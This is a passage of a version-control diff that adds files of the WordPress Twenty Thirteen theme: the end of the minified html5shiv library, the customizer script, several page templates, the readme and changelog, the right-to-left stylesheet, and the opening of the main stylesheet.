+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/js/theme-customizer.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/js/theme-customizer.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/js/theme-customizer.js	(revision 56912)
@@ -0,0 +1,41 @@
+/**
+ * Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Customizer preview reload changes asynchronously.
+ * Things like site title and description changes.
+ */
+
+( function( $ ) {
+	// Site title and description.
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+	// Header text color.
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' == to ) {
+				if ( 'remove-header' == wp.customize.instance( 'header_image' ).get() ) {
+					$( '.home-link' ).css( 'min-height', '0' );
+				}
+				$( '.site-title, .site-description' ).css( {
+					'clip': 'rect(1px, 1px, 1px, 1px)',
+					'position': 'absolute'
+				} );
+			} else {
+				$( '.home-link' ).css( 'min-height', '230px' );
+				$( '.site-title, .site-description' ).css( {
+					'clip': 'auto',
+					'color': to,
+					'position': 'relative'
+				} );
+			}
+		} );
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/page.php	(revision 56912)
@@ -0,0 +1,50 @@
+<?php
+/**
+ * The template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages and that other
+ * 'pages' on your WordPress site will use a different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<header class="entry-header">
+						<?php if ( has_post_thumbnail() && ! post_password_required() ) : ?>
+						<div class="entry-thumbnail">
+							<?php the_post_thumbnail(); ?>
+						</div>
+						<?php endif; ?>
+
+						<h1 class="entry-title"><?php the_title(); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) ); ?>
+					</div><!-- .entry-content -->
+
+					<footer class="entry-meta">
+						<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+					</footer><!-- .entry-meta -->
+				</article><!-- #post -->
+
+				<?php comments_template(); ?>
+			<?php endwhile; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/readme.txt	(revision 56912)
@@ -0,0 +1,138 @@
+=== Twenty Thirteen ===
+Contributors: the WordPress team
+Requires at least: WordPress 3.6
+Tested up to: WordPress 5.0
+Stable tag: 2.7
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, one-column, two-columns, right-sidebar, custom-header, custom-menu, editor-style, featured-images, footer-widgets, microformats, post-formats, rtl-language-support, sticky-post, translation-ready, accessibility-ready
+
+== Description ==
+The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small.
+
+For more information about Twenty Thirteen please go to https://codex.wordpress.org/Twenty_Thirteen.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Thirteen in the search form and press the 'Enter' key in your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Thirteen for a guide to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel.
+
+== Copyright ==
+
+Twenty Thirteen WordPress Theme, Copyright 2013-2018 WordPress.org & Automattic.com
+Twenty Thirteen is Distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Twenty Thirteen Theme bundles the following third-party resources:
+
+HTML5 Shiv v3.7.0, Copyright 2014 Alexander Farkas
+Licenses: MIT/GPL2
+Source: https://github.com/aFarkas/html5shiv
+
+Genericons icon font, Copyright 2013-2017 Automattic.com
+License: GNU GPL, Version 2 (or later)
+Source: http://www.genericons.com
+
+== Changelog ==
+
+= 2.7 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.7
+
+= 2.6 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.6
+
+= 2.5 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.5
+
+= 2.4 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.4
+
+= 2.3 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.3
+
+= 2.2 =
+* Released: June 8, 2017
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.2
+
+= 2.1 =
+* Released: December 6, 2016
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.1
+
+= 2.0 =
+* Released: August 15, 2016
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_2.0
+
+= 1.9 =
+* Released: April 12, 2016
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.9
+
+= 1.8 =
+* Released: January 6, 2016
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: December 8, 2015
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: August 18, 2015
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: April 23, 2015
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: December 18, 2014
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: September 4, 2014
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: May 8, 2014
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: October 24, 2013
+
+https://codex.wordpress.org/Twenty_Thirteen_Theme_Changelog#Version_1.1
+
+= 1.0 =
+* Released: August 1, 2013
+
+Initial release.
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/rtl.css	(revision 56912)
@@ -0,0 +1,779 @@
+/*
+Theme Name: Twenty Thirteen
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See https://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 4.0 - Header
+ *   4.1 - Site Header
+ *   4.2 - Navigation
+ * 5.0 - Content
+ *   5.2 - Entry Meta
+ *   5.4 - Galleries
+ *   5.5 - Post Formats
+ *   5.6 - Attachments
+ *   5.7 - Post/Paging Navigation
+ *   5.8 - Author Bio
+ *   5.9 - Archives
+ *   5.10 - Search Results/No posts
+ *   5.12 - Comments
+ * 6.0 - Sidebar
+ *   6.1 - Widgets
+ * 7.0 - Footer
+ * 8.0 - Media Queries
+ * 9.0 - Print
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ * ----------------------------------------------------------------------------
+ */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+a {
+	display: inline-block;
+}
+
+blockquote blockquote {
+	margin-left: 0;
+	margin-right: 24px;
+}
+
+menu,
+ol,
+ul {
+	padding: 0 40px 0 0;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+td {
+	padding-left: 10px;
+	padding-right: 0;
+}
+
+.assistive-text:focus {
+	left: auto;
+	right: 5px;
+}
+
+
+/**
+ * 4.0 Header
+ * ----------------------------------------------------------------------------
+ */
+
+/**
+ * 4.1 Site Header
+ * ----------------------------------------------------------------------------
+ */
+
+.site-header > a:first-child {
+	display: inherit;
+}
+
+.site-description {
+	font-style: normal;
+}
+
+
+/**
+ * 4.2 Navigation
+ * ----------------------------------------------------------------------------
+ */
+
+/* Navbar */
+ul.nav-menu,
+div.nav-menu > ul {
+	margin: 0 -20px 0 0;
+	padding: 0 0 0 40px;
+}
+
+.nav-menu .sub-menu,
+.nav-menu .children {
+	float: right;
+	left: auto;
+	right: -2px;
+}
+
+.nav-menu .sub-menu ul,
+.nav-menu .children ul {
+	border-left: 2px solid #f7f5e7;
+	border-right: 0;
+	left: auto;
+	right: 100%;
+}
+
+.main-navigation .search-form {
+	left: 0;
+	right: auto;
+}
+
+.site-header .search-field {
+	background-position: 98% center;
+	padding: 0 34px 0 0;
+}
+
+.nav-menu .current_page_item > a,
+.nav-menu .current_page_ancestor > a,
+.nav-menu .current-menu-item > a,
+.nav-menu .current-menu-ancestor > a {
+	font-style: normal;
+}
+
+.menu-toggle {
+	padding-left: 0;
+	padding-right: 20px;
+}
+
+
+/**
+ * 5.0 Content
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .entry-header,
+.sidebar .entry-content,
+.sidebar .entry-summary,
+.sidebar .entry-meta {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+
+/**
+ * 5.2 Entry Meta
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-meta > span {
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+.entry-meta > span:last-child {
+	margin-left: 0;
+	margin-right: auto;
+}
+
+.featured-post:before {
+	margin-left: 2px;
+	margin-right: auto;
+}
+
+.entry-meta .date a:before {
+	margin-left: 2px;
+}
+
+.comments-link a:before {
+	margin-left: 2px;
+	margin-right: auto;
+}
+
+.tags-links a:first-child:before {
+	margin-left: 2px;
+}
+
+.edit-link a:before {
+	margin-left: 2px;
+}
+
+.page-links .page-links-title {
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+/**
+ * 5.4 Galleries
+ * ----------------------------------------------------------------------------
+ */
+
+.gallery {
+	margin-left: auto;
+	margin-right: -4px;
+}
+
+.gallery-item {
+	float: right;
+	margin: 0 0 4px 4px;
+}
+
+.gallery-item a {
+	display: inline;
+}
+
+
+/**
+ * 5.5 Post Formats
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-content a {
+	display: inline;
+}
+
+.format-aside cite:before {
+	content: normal;
+	margin-right: auto;
+}
+
+.format-aside cite:after {
+	content: "\2014";
+	margin-left: 5px;
+}
+
+.format-audio .entry-content:before {
+	float: right;
+	-webkit-transform: scaleX(-1);
+	-moz-transform:    scaleX(-1);
+	-ms-transform:     scaleX(-1);
+	-o-transform:      scaleX(-1);
+	transform:         scaleX(-1);
+}
+
+.format-audio .audio-content {
+	background-position: right top;
+	float: left;
+	padding-left: 0;
+	padding-right: 35px;
+}
+
+.format-chat .entry-meta .date a:before {
+	margin-left: 4px;
+	margin-right: auto;
+}
+
+.format-image .wp-caption-text {
+	text-align: right;
+}
+
+.format-link .entry-title {
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+.format-status .entry-content,
+.format-status .entry-meta {
+	padding-left: 0;
+	padding-right: 35px;
+}
+
+.sidebar .format-status .entry-content,
+.sidebar .format-status .entry-meta {
+	padding-left: 376px;
+	padding-right: 95px;
+}
+
+.format-status .entry-content:before,
+.format-status .entry-meta:before {
+	left: auto;
+	right: 10px;
+}
+
+.sidebar .format-status .entry-content:before,
+.sidebar .format-status .entry-meta:before {
+	left: auto;
+	right: 70px;
+}
+
+.format-status .entry-content p:first-child:before {
+	left: auto;
+	right: 4px;
+}
+
+.sidebar .format-status .entry-content p:first-child:before {
+	left: auto;
+	right: 64px;
+}
+
+.format-quote blockquote {
+	padding-left: 0;
+	padding-right: 75px;
+}
+
+.format-quote blockquote:before {
+	content: '\201D';
+	padding-left: 25px;
+	padding-right: 0;
+	left: auto;
+	right: -15px;
+}
+
+
+/**
+ * 5.6 Attachments
+ * ----------------------------------------------------------------------------
+ */
+
+.attachment .entry-title {
+	float: right;
+}
+
+.attachment .entry-title:before {
+	margin-left: 10px;
+	margin-right: auto;
+}
+
+.attachment .entry-meta {
+	float: left;
+}
+
+.image-navigation .nav-previous {
+	left: auto;
+	right: 0;
+}
+
+.image-navigation .nav-next {
+	left: 0;
+	right: auto;
+}
+
+.attachment .entry-caption {
+	text-align: right;
+}
+
+
+/**
+ * 5.7 Post/Paging Navigation
+ * ----------------------------------------------------------------------------
+ */
+
+.navigation .nav-previous {
+	float: right;
+}
+
+.navigation .nav-next {
+	float: left;
+}
+
+.sidebar .paging-navigation .nav-links,
+.sidebar .post-navigation .nav-links {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+.paging-navigation .nav-previous .meta-nav {
+	margin-left: 10px;
+	margin-right: auto;
+}
+
+.paging-navigation .nav-next .meta-nav {
+	margin-left: auto;
+	margin-right: 10px;
+}
+
+.post-navigation a[rel="next"] {
+	float: left;
+	text-align: left;
+}
+
+
+/**
+ * 5.8 Author Bio
+ * ----------------------------------------------------------------------------
+ */
+
+.author-info {
+	text-align: right; /* gallery & video post formats */
+}
+
+.author.sidebar .author-info {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+.author-avatar .avatar {
+	float: right;
+	margin: 0 0 30px 30px;
+}
+
+.author-link {
+	margin-left: auto;
+	margin-right: 2px;
+}
+
+
+/**
+ * 5.9 Archives
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .archive-meta {
+	padding-left: 316px;
+	padding-right: 0;
+}
+
+
+/**
+ * 5.10 Search Results/No posts
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .page-content {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+/**
+ * 5.12 Comments
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .comments-title,
+.sidebar .comment-list,
+.sidebar .comment-reply-title,
+.sidebar .comment-navigation,
+.sidebar .comment-respond .comment-form {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+.comment-list .children {
+	margin-left: auto;
+	margin-right: 20px;
+}
+
+.comment-author {
+	float: right;
+	margin-left: 50px;
+	margin-right: auto;
+}
+
+.comment-list .edit-link {
+	margin-left: auto;
+	margin-right: 20px;
+}
+
+.comment-metadata,
+.comment-content,
+.comment-list .reply,
+.comment-awaiting-moderation {
+	float: left;
+}
+
+.comment-awaiting-moderation:before {
+	margin-left: 5px;
+	margin-right: auto;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	margin-left: 3px;
+	margin-right: auto;
+	-webkit-transform: scaleX(-1);
+	-moz-transform:    scaleX(-1);
+	-ms-transform:     scaleX(-1);
+	-o-transform:      scaleX(-1);
+	transform:         scaleX(-1);
+}
+
+.comment-reply-title small a {
+	float: left;
+}
+
+.comment-form [for="author"],
+.comment-form [for="email"],
+.comment-form [for="url"],
+.comment-form [for="comment"] {
+	float: right;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+.form-allowed-tags code {
+	margin-left: auto;
+	margin-right: 3px;
+}
+
+.sidebar .no-comments {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+
+/**
+ * 6.0 Sidebar
+ * ----------------------------------------------------------------------------
+ */
+
+.site-main .widget-area {
+	float: left;
+}
+
+.widget-area a {
+	max-width: 100%;
+}
+
+
+/**
+ * 6.1 Widgets
+ * ----------------------------------------------------------------------------
+ */
+
+.widget .widget-title {
+	font-style: normal;
+}
+
+.widget li > ul,
+.widget li > ol {
+	margin-left: auto;
+	margin-right: 20px;
+}
+
+.widget_text ul,
+.widget_text ol {
+	padding-left: auto;
+	padding-right: 20px;
+}
+
+/**
+ * 7.0 Footer
+ * ----------------------------------------------------------------------------
+ */
+
+.site-footer .widget-area,
+.sidebar .site-footer {
+	text-align: right;
+}
+.sidebar .site-footer .widget-area {
+	left: auto;
+	right: -158px;
+}
+
+.site-footer .widget {
+	float: right;
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+.sidebar .site-footer .widget:nth-of-type(4),
+.sidebar .site-footer .widget:nth-of-type(3) {
+	margin-left: 0;
+	margin-right: auto;
+}
+
+.site-footer span[role=separator] {
+	padding: 0 0.5em;
+}
+
+/**
+ * 8.0 Media Queries
+ * ----------------------------------------------------------------------------
+ */
+
+@media (max-width: 1069px) {
+	ul.nav-menu,
+	div.nav-menu > ul {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.error404 .page-header,
+	.sidebar .format-image .entry-content img.size-full,
+	.sidebar .format-image .wp-caption:first-child .wp-caption-text {
+		margin-right: auto;
+	}
+
+	.main-navigation .search-form {
+		left: 20px;
+		right: auto;
+	}
+
+	.site-main .widget-area {
+		margin-left: 60px;
+		margin-right: auto;
+	}
+}
+
+@media (max-width: 999px) {
+	.sidebar .entry-header,
+	.sidebar .entry-content,
+	.sidebar .entry-summary,
+	.sidebar .entry-meta,
+	.sidebar .comment-list,
+	.sidebar .comment-reply-title,
+	.sidebar .comment-navigation,
+	.sidebar .comment-respond .comment-form,
+	.sidebar .featured-gallery,
+	.sidebar .post-navigation .nav-links,
+	.author.sidebar .author-info,
+	.sidebar .format-image .entry-content {
+		max-width: 604px;
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.site-main .widget-area {
+		float: none;
+		margin-left: auto;
+	}
+
+	.attachment .entry-meta {
+		float: right;
+		text-align: right;
+	}
+
+	.sidebar .format-status .entry-content,
+	.sidebar .format-status .entry-meta {
+		padding-left: 0;
+		padding-right: 35px;
+	}
+
+	.sidebar .format-status .entry-content:before,
+	.sidebar .format-status .entry-meta:before {
+		left: auto;
+		right: 10px;
+	}
+
+	.sidebar .format-status .entry-content p:first-child:before {
+		left: auto;
+		right: 4px;
+	}
+
+	.sidebar .site-footer .widget-area {
+		left: auto;
+		right: 0;
+	}
+
+	.sidebar .paging-navigation .nav-links {
+		padding: 0 60px;
+	}
+}
+
+@media (max-width: 767px) {
+	.format-image .entry-content img:first-of-type,
+	.format-image .wp-caption:first-child .wp-caption-text {
+		margin-right: auto;
+	}
+}
+
+@media (max-width: 643px) {
+	.sidebar .entry-header,
+	.sidebar .entry-content,
+	.sidebar .entry-summary,
+	.sidebar .entry-meta,
+	.sidebar .comment-list,
+	.sidebar .comment-navigation,
+	.sidebar .featured-gallery,
+	.sidebar .post-navigation .nav-links,
+	.sidebar .format-image .entry-content {
+		padding-left: 20px;
+		padding-right: 20px;
+	}
+
+	#content .format-status .entry-content,
+	#content .format-status .entry-met {
+		padding-left: 0;
+		padding-right: 35px;
+	}
+
+	.menu-toggle:after {
+		padding-left: 0;
+		padding-right: 8px;
+	}
+
+	.toggled-on .nav-menu,
+	.toggled-on .nav-menu > ul {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.toggled-on .nav-menu li > ul {
+		margin-left: auto;
+		margin-right: 20px;
+		right: auto;
+	}
+
+	#content .featured-gallery {
+		padding-left: 0;
+		padding-right: 24px;
+	}
+
+	.gallery-columns-1 .gallery-item {
+		margin-left: 0;
+		margin-right: auto;
+	}
+
+	.comment-author {
+		margin-left: 30px;
+		margin-right: auto;
+	}
+
+	.format-audio .audio-content {
+		background: none;
+		float: none;
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.gallery-columns-3 .gallery-item:nth-of-type(3n) {
+		margin-left: 4px;
+		margin-right: auto;
+	}
+}
+
+@media (max-width: 359px) {
+	.gallery {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.gallery .gallery-item:nth-of-type(even) {
+		margin-left: 0;
+		margin-right: auto;
+	}
+
+	.gallery .gallery-item,
+	.gallery.gallery-columns-3 .gallery-item:nth-of-type(even),
+	.gallery-columns-3 .gallery-item:nth-of-type(3n),
+	.gallery-columns-5 .gallery-item:nth-of-type(5n),
+	.gallery-columns-7 .gallery-item:nth-of-type(7n),
+	.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+		margin-left: 4px;
+		margin-right: auto;
+	}
+
+	.comment-author .avatar {
+		margin-left: 5px;
+		margin-right: auto;
+	}
+}
+
+
+/**
+ * 9.0 Print
+ * ----------------------------------------------------------------------------
+ */
+
+@media print {
+	.entry-content img.alignleft,
+	.entry-content .wp-caption.alignleft {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.entry-content img.alignright,
+	.entry-content .wp-caption.alignright {
+		margin-left: 0;
+		margin-right: auto;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/search.php	(revision 56912)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * The template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentythirteen' ), get_search_query() ); ?></h1>
+			</header>
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/sidebar-main.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/sidebar-main.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/sidebar-main.php	(revision 56912)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * The sidebar containing the footer widget area
+ *
+ * If no active widgets in this sidebar, hide it completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+	<div id="secondary" class="sidebar-container" role="complementary">
+		<div class="widget-area">
+			<?php dynamic_sidebar( 'sidebar-1' ); ?>
+		</div><!-- .widget-area -->
+	</div><!-- #secondary -->
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/sidebar.php	(revision 56912)
@@ -0,0 +1,22 @@
+<?php
+/**
+ * The sidebar containing the secondary widget area
+ *
+ * Displays on posts and pages.
+ *
+ * If no active widgets are in this sidebar, hide it completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+if ( is_active_sidebar( 'sidebar-2' ) ) : ?>
+	<div id="tertiary" class="sidebar-container" role="complementary">
+		<div class="sidebar-inner">
+			<div class="widget-area">
+				<?php dynamic_sidebar( 'sidebar-2' ); ?>
+			</div><!-- .widget-area -->
+		</div><!-- .sidebar-inner -->
+	</div><!-- #tertiary -->
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/single.php	(revision 56912)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<?php get_template_part( 'content', get_post_format() ); ?>
+				<?php twentythirteen_post_nav(); ?>
+				<?php comments_template(); ?>
+
+			<?php endwhile; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentythirteen/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentythirteen/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentythirteen/style.css	(revision 56912)
@@ -0,0 +1,3315 @@
+/*
+Theme Name: Twenty Thirteen
+Theme URI: https://wordpress.org/themes/twentythirteen/
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small.
+Version: 2.7
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, one-column, two-columns, right-sidebar, custom-header, custom-menu, editor-style, featured-images, footer-widgets, microformats, post-formats, rtl-language-support, sticky-post, translation-ready, accessibility-ready
+Text Domain: twentythirteen
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Repeatable Patterns
+ * 3.0 - Basic Structure
+ * 4.0 - Header
+ *   4.1 - Site Header
+ *   4.2 - Navigation
+ * 5.0 - Content
+ *   5.1 - Entry Header
+ *   5.2 - Entry Meta
+ *   5.3 - Entry Content
+ *   5.4 - Galleries
+ *   5.5 - Post Formats
+ *   5.6 - Attachments
+ *   5.7 - Post/Paging Navigation
+ *   5.8 - Author Bio
+ *   5.9 - Archives
+ *   5.10 - Search Results/No posts
+ *   5.11 - 404
+ *   5.12 - Comments
+ *   5.13 - Multisite
